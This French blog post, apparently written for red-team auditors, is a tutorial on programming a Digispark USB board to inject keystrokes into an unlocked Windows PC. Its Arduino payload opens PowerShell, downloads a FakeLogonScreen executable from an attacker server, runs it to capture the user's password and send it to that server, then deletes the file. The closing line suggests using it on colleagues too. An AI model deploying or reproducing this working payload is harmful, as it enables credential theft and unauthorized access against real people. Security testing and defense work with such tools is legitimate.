Red-Team : Récupérer des identifiants Windows avec un Digispark

Published on: Mar 20 2020 by Kim-Son PHAM
Digispark sur une pièce de 10 centimes

Il n’est pas rare, lors d’audits internes et/ou Red Team, de croiser des sessions laissées négligemment ouvertes. La où le croissantage en bonne et due forme aurait eu lieu au bureau, il est souvent bien plus opportun d’essayer de récuperer de l’information stratégique, et pourquoi pas des identifiants ?!

Lors d’un audit en Red team, l’utilisation d’un Rubber Ducky préprogrammé peut faire gagner du temps aux auditeurs, ainsi que rendre certaines attaques plus furtives. Ce dispositif, plutôt que d’être reconnu par le système comme une clef USB par exemple, simule un clavier et permet, après programmation, l’envoi de frappes clavier préalablement définies sur l’ordinateur de la victime. Ces exécutions de touches seront exécutées bien plus rapidement qu’un auditeur averti ne pourrait le faire réduisant ainsi le temps d’attaque et la crainte d’être pris sur le fait.

Du simple message texte à des exécutions de commandes (Powershell, Bash, etc.) visant à lancer un programme malveillant en passant par un Rickrollage de circonstance, seule l’imagination de l’auditeur (et la mémoire du dispositif) limitent les possibilités.

À ce jour, un Rubber Ducky coûte environ 45€, ce qui n’est pas particulièrement bon marché. Néanmoins il existe un concurrent au prix imbattable : le Digispark Attiny85, environ 3€ l’unité.

L’utilisation est un peu moins triviale que pour le Rubber Ducky, mais permet d’effectuer, une fois apprivoisé, des attaques similaires à moindre coût.

Le Digispark a une mémoire de 6ko, contrairement au Rubber Ducky sur lequel on peut ajouter une micro carte SD. Donc selon vos attaques, vos payloads devront donc être téléchargés pendant l’exécution du Digispark.

L’outil fakelogonscreen permet de lancer une fausse page de connexion windows sur un ordinateur, et d’ensuite récupérer le mot de passe. L’outil open source récupère le nom de l’utilisateur, son mot de passe, ainsi que ses essais erronés, mais avant de décrire cette attaque, installons les différents outils nécessaires.

Étape 1 : Mise en place de l’environnement

Pour plus de détails sur l’installation :

https://digistump.com/wiki/digispark/tutorials/connecting

https://digistump.com/wiki/digispark/tutorials/linuxtroubleshooting

Linux

Pour Ubuntu :

apt install arduino

Dépendance nécessaire : https://github.com/micronucleus/micronucleus

Windows :

Pour Windows, il est nécessaire d’installer Arduino, puis les drivers nécessaires :

https://www.arduino.cc/en/main/software

https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip

Après l’installation d’Arduino, il faut ajouter le package Digistump suivant à l’application dans la configuration :

http://digistump.com/package_digistump_index.json

File -> Preferences
Ajout du package Digistump

Choisir ensuite le Board Digispark par défault.

Choix du board manager

Il est possible dès à présent d’envoyer des programmes sur le Digispark ! Le package Board Digispark précédemment installé propose différents exemples de programmes.

Par exemple, le programme Keyboard, trivial, affiche en boucle le message “Hello Digispark”.

File -> Exemples -> DigisparkKeyboard -> Keyboard

#include "DigiKeyboard.h"

void setup() {
  // don't need to set anything up to use DigiKeyboard
}

void loop() {
  // this is generally not necessary but with some older systems it seems to
  // prevent missing the first character after a delay:
  DigiKeyboard.sendKeyStroke(0);
  
  // Type out this string letter by letter on the computer (assumes US-style
  // keyboard)
  DigiKeyboard.println("Hello Digispark!");
  
  // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
  // if doing keyboard stuff because it keeps talking to the computer to make
  // sure the computer knows the keyboard is alive and connected
  DigiKeyboard.delay(5000);
}

Cliquer sur upload, rebrancher votre Digispark, et si tout c’est bien passé, vous allez voir à l’écran “Hello Digispark” écrit en boucle !

Attention, on suppose ici que vous utilisez un clavier QWERTY US, le digispark ne supporte pas bien les différents layout. Si votre victime utilise un clavier AZERTY FR par exemple, plusieurs solutions s’offrent à vous :

  • Convertir vos String de QWERTY US en AZERTY FR, “powershell” deviendra “pozershell”.
  • Le script duck2spark permet de spécifier le layout et de convertir des scripts de Rubber Ducky compatible avec le Digispark (https://github.com/mame82/duck2spark)

Nous pouvons enfin commencer notre attaque !

Etape 2 : Modifier FakeLogonScreen pour récupérer les identifiants

Lorsque la victime va rentrer son mot de passe, l’outil FakeLogonScreen va l’enregistrer dans un fichier ou l’afficher dans le terminal, or nous voulons le récupérer. Pour cela, nous avons simplement ajouté une requête vers notre serveur comprenant le nom de l’utilisateur ainsi que son mot de passe lorsque la victime essaie de se connecter.

Compiler et placer l’executable sur votre serveur, pour qu’il puisse ensuite être téléchargé sur l’ordinateur de la victime. De plus, lancer un serveur HTTP pour récupérer les identifiants dans les logs !

Etape 3 : Création de l’attaque

Le programme de notre attaque va télécharger notre application via le powershell, lancer via la recherche de programe de Windows. Après le lancement de l’exécutable, si jamais il n’a pas été repéré par l’antivirus de votre OS, la commande va attendre que la victime entre son mot de passe, pour supprimer le fichier du binaire et fermer le terminal.

Des délais plus ou moins longs sont nécessaires, en effet le Digispark ne peut pas savoir si une commande a fini son exécution, il faut donc mettre des délais plus long pour que vos attaques fonctionnent aussi sur des ordinateurs lents. À vous de trouver le juste milieu pour que votre attaque ne prenne pas trop de temps !

#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(1000);
  // Lance la recherche de programme (touche Windows + R)
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(100);
  // Ouvre le terminal
  DigiKeyboard.println("powershell");
  DigiKeyboard.delay(100);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  // Télécharge le binaire de FakeLogonScreen présent sur notre serveur
  DigiKeyboard.println("wget http://192.168.0.106/application.exe -OutFile ./application.exe");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER); 
  DigiKeyboard.delay(100);
  // Lance le programme, puis attends la fin du processus pour supprimer le fichier ainsi que quitter le terminal
  DigiKeyboard.println("Start-Process application.exe -wait; rm application.exe; exit");
  digitalWrite(1, HIGH);
  }

/* Unused endless loop */
void loop() {}

Après avoir modifié l’URL du serveur pour spécifier le votre, uploader le programme sur le Digispark. Brancher votre Digispark sur un Windows 10 et vous devriez voir l’attaque se dérouler devant vos yeux !

Fausse page de connexion

On récupère sur notre serveur le nom et le mot de passe de l’utilisateur, ainsi que ses différents essais éronnés !

Logs du serveur comprenant le nom de l'utilisateur ainsi que son mot de passe

Vous pouvez maintenant utiliser votre Digispark pour subtiliser des identifiants lors d’audit en Red Team, ou bien ceux de vos collègues, et ainsi les croissanter quand vous voulez !

Attack digispark red team gif
Vidéo de l’attaque
Filed under: Headlines
Tags: , , , , ,

Leave a Reply

*

*